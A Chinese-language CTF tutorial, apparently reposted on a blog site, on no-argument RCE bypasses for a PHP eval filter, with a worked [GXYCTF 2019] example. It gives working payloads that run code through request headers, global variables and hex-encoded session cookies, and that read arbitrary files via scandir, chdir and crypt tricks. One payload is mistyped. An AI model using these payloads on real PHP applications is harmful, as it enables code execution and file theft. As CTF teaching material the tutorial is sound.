无参数绕过RCE

news2025/1/25 9:18:29

一.什么是无参数

顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等

无参数题目特征

    if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {    
        eval($_GET['star']);
    }

代码解析

这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式

eg:

[^\W]+\(?\)匹配到"a()"形式的字符串,但是()不能内出现任何参数(?R)代表递归,即a(b(c()))都能匹配到

使用该正则表达式进行替换后,每个函数调用都会被删除,只剩下一个分号 ;,而最终结果强等于;时,payload才能进行下一步。简而言之,无参数rce就是不使用参数,而只使用一个个函数最终达到目的。

无参数命令执行(RCE)

既然传入的code值不能含有参数,那我们可不可以把参数放在别的地方,code用无参数函数来接收参数呢?这样就可以打破无参数函数的限制

HTTP 请求标头

首先想到headers,因为headers我们用户可控

用到的函数:

getallheaders()

(局限于Apache    apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache

获取所有 HTTP 请求标头

pos()

把第一项的值显示出来

eg: ?code=print_r(pos(getallheaders()))

end()

把最后一项的值显示出来

eg: ?code=print_r(end(getallheaders()))

还没有做到这个方法的题

先借用一下别人的图

sky是自己添加的请求头, end()指向最后一行的sky后的代码,达到phpinfo的目的,然后可以进一步去rce。

var_dump(end(getallheaders()));
eval(end(getallheaders()));

全局变量RCE

函数

get_defined_vars()

返回所有已定义变量的值,所组成的数组

返回数组顺序为GET->POST->COOKIE->FILES

?star=print_r(get_defined_vars());

我们加个pos()让他显示第一行 显示我们的get请求

?star=print_r(pos(get_defined_vars()));

?star=print_r(pos(get_defined_vars()));&cmd=system('ls');

在后面再自定义一个变量

再用end()函数显示最后一个值

?star=print_r(end(pos(get_defined_vars())));&cmd=system('ls');

把print_r换成eval,assert即可执行命令system('ls');

session

session_start()

启动新会话或者重用现有会话,成功开始会话返回TRUE,反之返回 FALSE

?star=print_r(session_start());

?star=print_r(session_id(session_start()));

返回PHPSESSID的值

?star=show_source(session_id(session_start()));

print_r修改为show_source()
用Burp suite修改PHPSESSID的值为./flag
用show_source读取flag文件源代码

但是phpsession不允许()出现

我们自己手动对命令进行十六进制编码,后面在用函数hex2bin()解码转回去,使得后端实际接收到的是恶意代码。我们把想要执行的命令进行十六进制编码后,替换掉‘Cookie:PHPSESSID=’后面的值

以下是十六进制编码脚本:

    <?php
    $encoded = bin2hex("phpinfo();");
    echo $encoded;
    ?>

得到phpinfo();的十六进制编码,即706870696e666f28293b

那么payload就可以是:

?参数=eval(hex2bin(session_id(session_start())));

同时更改cookie后的值为想执行的命令的十六进制编码

参考无参数RCE绕过的详细总结(六种方法)_无参数的取反rce-CSDN博客

scandir()文件读取

一些函数学习

scandir()-列出指定路径中的文件和目录(PHP 5,PHP 7,PHP 8)

比如里面加个'.'就是读取当前路径中的文件和目录

getcwd()- 取得当前工作目录(PHP 4, PHP 5, PHP 7, PHP 8)

类似与linux里面的pwd

current()- 返回数组中的当前值(PHP 4, PHP 5, PHP 7, PHP 8)

 next()- 将数组中的内部指针向前移动(PHP 4,PHP 5,PHP 7,PHP 8)

array_reverse()- 返回单元顺序相反的数组(PHP 4,PHP 5,PHP 7, PHP 8)

array _flip()- 交换数组中的键和值(PHP 4, PHP 5, PHP 7,PHP 8)

 array_rand() - 从数组中随机取出一个或多个随机键

dirname()

函数返回路径中的目录部分。

 chdir() -系统调用函数(同cd),用于改变当前工作目录

改变成功返回1

strrev()-用于反转给定的字符串

crypt()一用来加密,目前Linux平台上加密的方法大致有MD5,DES,3 DES

hebrevc()-把希伯来文本从右至左的流转换为左至右的流

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

localeconv() 函数会返回以下数组元素:

  • [decimal_point] - 小数点字符
  • [thousands_sep] - 千位分隔符
  • [int_curr_symbol] - 货币符号 (例如:USD)
  • [currency_symbol] - 货币符号 (例如:$)
  • [mon_decimal_point] - 货币小数点字符
  • [mon_thousands_sep] - 货币千位分隔符
  • [positive_sign] - 正值字符
  • [negative_sign] - 负值字符
  • [int_frac_digits] - 国际通用小数位
  • [frac_digits] - 本地通用小数位
  • [p_cs_precedes] - 如果货币符号在一个正数值之前显示,则为 True(1),如果在正数值之后显示,则为 False(0)
  • [p_sep_by_space] - 如果在货币符号和正数值之间包含空格,则为 True(1),否则为 False(0)
  • [n_cs_precedes] - 如果货币符号在一个负数值之前显示,则为 True(1),如果在负数值之后显示,则为 False(0)
  • [n_sep_by_space] - 如果在货币符号和负数值之间包含空格,则为 True(1),否则为 False(0)
  • [p_sign_posn] - 格式化选项:

查看当前目录文件

?star=print_r(localeconv());

这里只需要用到这里第一个是'.'

用current()函数就能构造出来这个点了

?star=print_r(current(localeconv()));

再结合scandir()函数就能看到当前目录的文件

?star=print_r(scandir(current(localeconv())));

然后根据我们上面所学的current()函数,array_reverse()函数,next()函数就可以得到我们想看到的任意文件

再用show_source查看文件内容

就可以做到当前路径文件任意读取

法二:

可以使用getcwd()

?star=print_r(scandir(getcwd()));

 同上 也可以做到同样的效果

查看上级目录文件

?star=print_r(dirname(getcwd()));

通过dirname()得到上级文件的绝对路径

?star=print_r(scandir(dirname(getcwd())));

再用scandir()就可以看到我们当前路径的文件

?star=show_source(end(scandir(dirname(getcwd()))));

但是在这里show_source()是看不到的

原因是我们所在的当前目录下 并没有上一级目录下的文件

我们必须要进入上一级目录

才能show_source这里的文件

这里就要用到上面的chdir()函数了

?star=print_r(chdir(dirname(getcwd())));

这里就成功进入上一级目录

用dirname()构造“.”

?star=show_source(pos(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

那么 问题来了

如果我们要读取的文件既不是第一个也不是最后一个也不是倒数第二个 也不是第二个

那我们怎么实现任意文件读取呢?

任意文件读取

我们可以用array _rand()array_flip()两个函数

array_flip()函数实现交换数组中的键和值

array _rand()函数 随机生成键

show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))))

查看根目录文件

查看根目录只需要构造出'/'就可以

先用arrary()函数 创建数组 它回显的也是arrary()

然后将它序列化

再加密

就会随机出现尾部位置我们想要的/

?star=print_r(crypt(serialize(array())));

然后用strrev()函数反转巴黎

那我们怎么得到它的第一个字符呢?

ord()函数和 chr() 函数
只能对第一个字符进行转码
ord() 编码, chr()解码

?star=print_r(chr(ord(strrev(crypt(serialize(array()))))));

这样就能成功得到我们想要的/了

?star=print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

成功查看出我们想要的根目录文件

?star=show_source(array_randarray_flip(scandir(dirname(chdir(chr(ord(strrev(crypt(serialize(array())))))))))));

这里随机的不确定性因素很多

可以用bp爆破一下

跑个1000次

就肯定能出来了

例题

[GXYCTF 2019]禁止套娃

打开先用dirsearch扫一下

发现是有git源码泄露

用githack还原一下

python GitHack.py http://node4.anna.nssctf.cn:28038/.git

得到源码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

我们通过源码知道

flag直接是在当前目录

直接查看当前目录里的flag就ok

payload:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

这里et被过滤了 getallheaders() get_defined_vars()函数被过滤了

不能用http请求头 和全局变量

但是这题已知文件名 并且无需编码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1575814.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

这就是AI眼中的物理世界:OpenAI Sora音乐短片《Worldweight》和超现实影片《气球人》

大家好&#xff0c;我是木易&#xff0c;一个持续关注AI领域的互联网技术产品经理&#xff0c;国内Top2本科&#xff0c;美国Top10 CS研究生&#xff0c;MBA。我坚信AI是普通人变强的“外挂”&#xff0c;所以创建了“AI信息Gap”这个公众号&#xff0c;专注于分享AI全维度知识…

Java8关于Function接口

Java学习-Function接口 1 函数式接口简介和学习地址2 两种常见的函数式接口2.1 Runnable&#xff1a;执行接口&#xff0c;不接收参数&#xff0c;也无返回结果。2.2 Consumer&#xff1a;作为消费接口&#xff0c;接收一个参数&#xff0c;无返回结果。 3 初识3.1 定义Functio…

JVM从1%到99%【精选】-初步认识

目录 &#x1f95e;1.什么是JVM &#x1f37f;2.JVM的功能 &#x1f953;3.常见的JVM &#x1f32d;4.JVM的位置 &#x1f9c2;5.JVM的整体结构 &#x1f383;6.JVM的生命周期 &#x1f388;7.JVM的架构模型 1.什么是JVM JVM本质上是一个运行在计算机上的程序,他的职责…

WPS快速将插入Excle数据插入Word

前置条件&#xff1a; 一张有标题、数据的excle表格word中的表格与excle表格标题对应或包含电脑已经安装WPS软件 第一步、根据word模板设计excle模板&#xff0c;标头对应 第二步、word上面选【引用】--【邮件】&#xff0c;选打开数据源&#xff0c;找到excle文件&#xff0c;…

vscode-插件开发-hello world-创建初始模板

参考vscode官方示例&#xff1a;如何创建你的第一个插件开发项目模板的步骤进行了下文操作。 目录 前言1.环境配置全局安装 yo, generator-code 2. 新建一个插件项目模板问题1: F5 按键无法启动launch.json调试(解决)问题1 描述:问题1: 找错误问题1: 可行的解决方案 3. 开发插…

Linux部署sonarqube+Gogs+Jenkins(二)

Linux部署sonarqubeGogsJenkins 一、Jenkins执行任务1、使用源码管理拉取代码-操作步骤第一步&#xff1a;确认环境&#xff0c;进入到Jenkins【系统管理】—>【全局工具配置】—>【Git】为下图显示&#xff1b;第二步&#xff1a;构建项目时对项目的源码管理选择 Git第三…

基于R语言地理加权回归、主成份分析、判别分析等空间异质性数据分析教程

原文链接&#xff1a;基于R语言地理加权回归、主成份分析、判别分析等空间异质性数据分析教程https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247600473&idx6&sn431e9408a42862d29fe4f4ef7703595b&chksmfa8208becdf581a820d9479d2aa61b88e96612c4ab72b0…

系统架构评估_2.SAAM方法

SAAM&#xff08;Scenarios-based Architecture Analysis Method&#xff09;是卡耐基梅隆大学软件工程研究所&#xff08;SEI at CMU&#xff09;的Kazman等人于1983年提出的一种非功能质量属性的架构分析方法&#xff0c;是最早形成文档并得到广泛使用的软件架构分析方法。最…

设计方案:914-基于64路AD的DBF波束形成硬件

一、硬件概述 &#xff24;&#xff22;&#xff26;技术的实现全部是在数字域实现&#xff0c;然而天线阵列接收的信号经过多次混频后得到的中频信号是模拟信号&#xff0c;实现&#xff24;&#xff22;&#xff26;处理并充分发挥&#xff24;&#xff22;&…

pdf操作器(图片转文字、PDF转word、PDF拆分、图片jpg、png互转)

pdf操作器&#xff08;不用联网图片转文字、PDF转word、PDF拆分、图片jpg、png互转&#xff09;介绍目前该软件实现了以下功能 pdf转wordpdf拆分图片&#xff0c;图片导出在桌面的一个文件夹里图片合并为pdf压缩、转换图片格式&#xff08;jpg和png&#xff09;OCR图片转文字&…

如何在社交媒体中使用增强现实来提高客户参与度?

目录 1. 增强现实在社交媒体中的应用是如何发展的 2. 社交媒体营销和广告中的增强现实 3. 社交媒体上的增强现实滤镜和镜头 4. 社交媒体平台上的增强现实购物 5. 利用社交媒体的增强现实事件和品牌激活 6. 增强现实在社交媒体中的未来是什么 7. 社交媒体中的增强现实常见…

xilinx 7系列fpga上电配置

一、前言 Xilinx FPGA通过加载比特流到内部存储单元来进行配置。 Xilinx FPGA存在两种数据配置路径&#xff0c;一种是满足最小引脚需求的串行路径&#xff0c;一种是可用8位、16位或32位来连接到行业的高性能通用接口&#xff0c;如处理器&#xff0c;8位或者16位并行的闪存…

轻量化日志中心 Grafana Loki

需要集中的日志系统的原因 目前现状,每个服务生产上有三台,定位生产问题,需要连上一台机器,然后使用 cd / tail / less / grep / sed / awk 等 linux命令去日志里查找故障原因。如果在这台机器没搜索到线索,就去另外两台机器上查日志。 但在分布式系统中,众多服务分散部…

链路代价信息、链路状态信息(链路状态通告LSA)

链路代价信息"link cost information" 通常指的是**在网络中&#xff0c;数据包从一个节点传输到另一个节点所需承担的“成本”或者“开销”&#xff0c;这个概念常用于路由算法和网络设计中**。以下是一些关键要点&#xff1a; 1. **路径开销**&#xff1a;路径开…

吹爆!遥感高光谱分类(Python)

目录 一、数据集下载 二、安装包 三、数据处理 四、模型训练 五、模型推理 六、踩坑记录 一、数据集下载 Hyperspectral Remote Sensing Scenes - Grupo de Inteligencia Computacional (GIC) (ehu.eus) Installing SPy — Spectral Python 0.21 documentation 二、安装…

企业计算机服务器中了locked勒索病毒怎么办,locked勒索病毒解密流程步骤

网络技术的不断发展为企业的生产运营提供了极大便利&#xff0c;也让企业的生产效率大大提高&#xff0c;但网络是一把双刃剑&#xff0c;给给企业的数据安全问题带来严重威胁。近期&#xff0c;云天数据恢复中心接到浙江某商贸公司的求助&#xff0c;企业计算机服务器遭到了lo…

HBase详解(2)

HBase 结构 HRegion 概述 在HBase中&#xff0c;会从行键方向上对表来进行切分&#xff0c;切分出来的每一个结构称之为是一个HRegion 切分之后&#xff0c;每一个HRegion会交给某一个HRegionServer来进行管理。HRegionServer是HBase的从节点&#xff0c;每一个HRegionServ…

阿里云乱扣费故障,技术堪忧

2024年4月3日&#xff0c;距离2023年11月的故障没有多久&#xff0c;阿里云又出现乱扣费故障&#xff0c;导致账号欠费3000多&#xff0c;oss&#xff0c;块存储&#xff0c;cdn等所有后付费服务停止工作&#xff0c;不知道这个故障能算什么级别的。 凌晨1点多&#xff0c;收到…

RStudio数据分析及简单作图

R语言是一种用于统计计算与绘图的编程语言&#xff0c;它免费、开源&#xff0c;被广泛应用于统计分析、数据挖掘等领域。是应用于统计计算和统计制图的优秀工具。 完整代码放在最后 一、数据收集 所使用数据下载自GEO(https://www.ncbi.nlm.nih.gov/geoprofiles/)网站&…

开源免费的MySQL和MariaDB图形化管理软件

2024年4月7日&#xff0c;周日凌晨 有很多开源免费的MySQL和MariaDB图形化管理界面可供选择。 以下是一些常用的工具&#xff1a; phpMyAdmin&#xff1a;phpMyAdmin 是一个用 PHP 编写的免费开源的 MySQL 和 MariaDB 管理工具&#xff0c;它提供了一个基于 Web 的界面&#…